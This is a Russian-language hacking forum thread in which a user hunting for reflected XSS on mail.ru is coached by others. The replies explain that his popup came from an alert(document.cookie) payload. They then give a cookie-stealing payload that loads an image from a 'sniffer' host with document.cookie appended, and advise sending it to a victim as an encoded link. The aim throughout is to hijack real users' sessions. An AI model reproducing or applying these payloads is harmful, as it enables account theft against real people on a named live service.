пассивная xss на mail.ru, вопрос

[Seshh]

Я тут лазил по mail.ru искал XSS, вылитило следующее окно. На то, что было забито в скрипт как предупреждение это не похоже. Так, что это кто нить знает ?

http://img12.imageshack.us/img12/7390/111jcm.th.jpg (http://img12.imageshack.us/my.php?image=111jcm.jpg)

[-m0rgan-]

>>Так, что это кто нить знает ?
пасвная XSS

[Seshh]

Скрипт следующий: "><script>alert(XSS)</script>, а выскочела такая бойда почему ?

[-m0rgan-]

ты чет напутал!
или скрипт нетот пихнул и незаметил...
То что на картинке - результат действия следуйщего скриптк:
"><script>alert(document.cookie)</script>

[Seshh]

Блин, да ты прав я именно этим скриптом и пробовал.
А через эту уизвимость куки можно пробивать ?

[needle]

просиш жертву зделать также как и ты зделал с етим скриптом "><script>alert(document.cookie)</script>

[Failure]

мочишь xD, искать xss и даже не знать что это и как заюзать, тебе сюда (https://forum.antichat.ru/thread20140.html)
ну раз спросил то отвечу - да, угнать кукисы можно

[-m0rgan-]

просиш жертву зделать также как и ты зделал с етим скриптом "><script>alert(document.cookie)</script>

и что?

она посмотрит на свои куки=///////

ТС
кидаеш жертве линк с яваскриптом в котором будет (сниффер+document.cookie)
и жди куки)
например что то типа:
'><script>img = new Image();img.src="снифферкартинко"+document.cookie;</script>

[Seshh]

Спасибо, я тока учусь ))

[[dei]]

только закодировать не забудь

[Seshh]

Дальше я знаю что делать. Я спросил, чтобы мои действия все не зря были. Ато кинеш жертве, а не работает. Всем Спасибо !